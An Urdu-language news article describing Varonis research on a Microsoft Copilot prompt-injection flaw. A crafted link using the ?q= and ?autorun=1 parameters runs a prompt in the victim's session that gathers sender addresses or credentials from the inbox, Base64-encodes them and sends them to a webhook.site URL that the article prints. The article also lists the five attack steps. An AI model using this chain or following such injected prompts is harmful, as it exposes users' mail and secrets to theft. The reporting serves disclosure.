
ٹیکنالوجی میڈیا Ars Technica نے گزشتہ روز (18 اگست) ایک بلاگ پوسٹ شائع کی، جس میں بتایا گیا کہ مائیکروسافٹ Copilot میں سکیورٹی نقص موجود ہے۔ ?autorun=1 پیرامیٹر کو ?q= کے ساتھ استعمال کر کے صارف کی تصدیق کو نظرانداز کیا جا سکتا ہے، جس کے نتیجے میں صارف کی معلومات چرائی جا سکتی ہیں۔
IT之家 نے بلاگ پوسٹ کے حوالے سے بتایا کہ سکیورٹی کمپنی Varonis کے محققین کے مطابق، دیگر بیشتر AI معاونین کی طرح Copilot بھی URL کے ذریعے پرامپٹس وصول کر سکتا ہے۔ URL کا بنیادی حصہ ماڈل کو Gmail جیسی ایپلی کیشنز کھولنے کی اجازت دیتا ہے، جبکہ بعد کے پیرامیٹرز اور متن معاون سے ان باکس کے مواد کا خلاصہ تیار کرنے یا ای میل کا مسودہ لکھنے کا تقاضا کر سکتے ہیں۔
محققین نے دریافت کیا کہ Copilot میں ?autorun=1 پیرامیٹر موجود ہے، جسے ?q= کے ساتھ استعمال کر کے صارف کی تصدیق کو نظرانداز کیا جا سکتا ہے۔ انہوں نے درج ذیل لنک تیار کیا:
https://copilot.microsoft.com/?q=&autorun=1جب صارف حملہ آور کے تیار کردہ لنک پر کلک کرتا ہے تو براؤزر صارف کے پہلے سے لاگ اِن سیشن میں Copilot لوڈ کرتا ہے۔ اس دوران ?autorun=1 خودکار عمل درآمد شروع کرتا ہے، جبکہ ?q= میں موجود پرامپٹ صارف کے کسی اشارے کے بغیر چل جاتا ہے۔
محققین کے تیار کردہ پرامپٹ میں Copilot سے کہا گیا کہ وہ ان باکس میں تلاش کر کے تازہ ترین موصولہ ای میل تلاش کرے، صرف بھیجنے والے کا ای میل پتا نکالے اور نتیجہ SUPPORT نامی متغیر میں محفوظ کرے۔ اس کے بعد Copilot درج ذیل URL تیار کر کے “URL کا خلاصہ تیار کریں” کمانڈ چلاتا ہے:
https://webhook.site/75aabb18-9bcf-4383-9e29-349fbc4c40e8/SUPPORTحملہ آور نقصان دہ لنک ای میل، چیٹ پیغام، فشنگ صفحے یا QR کوڈ کے ذریعے متاثرہ فرد کو بھیج سکتے ہیں۔ صارف کے کلک کرنے کے بعد حساس معلومات ایک دوسرے URL کے ساتھ منسلک ہو جاتی ہیں اور Copilot خودکار طور پر اس پتے کو ڈیوائس پر کھول دیتا ہے۔ چونکہ صفحہ حملہ آور کے زیرِ کنٹرول ویب سائٹ پر موجود ہوتا ہے، اس لیے ڈیٹا بالآخر حملہ آور تک پہنچ جاتا ہے۔

محققین نے ایک اور پرامپٹ بھی تیار کیا، جس کے ذریعے Copilot کو ان باکس میں پاس ورڈز اور دیگر اسناد تلاش کرنے کا کہا گیا۔ متعلقہ راز ملنے کی صورت میں معاون انہیں اسی نوعیت کے حملہ آور کے زیرِ کنٹرول سرور پر بھیج دیتا ہے۔ ڈیٹا چوری چھپانے اور منتقلی کی غلطیوں کو کم کرنے کے لیے، باہر بھیجے جانے والے مواد کو پہلے Base64 میں تبدیل کیا جاتا ہے (یہ بائنری ڈیٹا کو متن میں انکوڈ کرنے کا ایک فارمیٹ ہے)۔
Varonis کے مطابق حملے کے سلسلے میں 5 مراحل شامل ہیں:
1. متاثرہ فرد حملہ آور کے احتیاط سے تیار کردہ URL پر کلک کرتا ہے (یہ ای میل، چیٹ، فشنگ صفحے، QR کوڈ وغیرہ کے ذریعے پھیلایا جاتا ہے)
2. براؤزر متاثرہ فرد کے فعال اور تصدیق شدہ سیشن میں copilot.microsoft.com لوڈ کرتا ہے۔
3. ?autorun=1 پیرامیٹر خودکار عمل درآمد شروع کرتا ہے، جبکہ ?q= پرامپٹ کسی بھی صارف کارروائی کے بغیر ظاہر ہو جاتا ہے۔
4. Copilot داخل کردہ پرامپٹ پر کارروائی کرتا ہے اور اسے متاثرہ فرد کے سیشن کے سیاق، منسلک ایپلی کیشنز اور میموری تک مکمل رسائی حاصل ہوتی ہے۔
5. لوڈ مکمل ہونے کے فوراً بعد Copilot کا ٹیب بند کر دینے کے باوجود پرامپٹ مکمل طور پر چلتا رہتا ہے، جس میں نیٹ ورک سے ڈیٹا حاصل کرنا، کنیکٹر کالز یا متعدد مراحل پر مشتمل چین آپریشنز بھی شامل ہیں۔
